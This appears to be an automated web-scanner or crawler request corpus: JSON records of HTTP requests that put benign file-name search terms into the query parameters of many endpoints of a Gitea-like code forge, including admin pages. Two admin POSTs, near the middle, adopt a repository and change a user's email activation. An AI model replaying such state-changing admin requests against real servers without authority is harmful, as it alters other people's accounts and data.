{"method": "GET", "target": "/explore/topics/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 63", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=docker-compose.yml&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 108", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=docker-compose.yml&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=install-script.sh&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
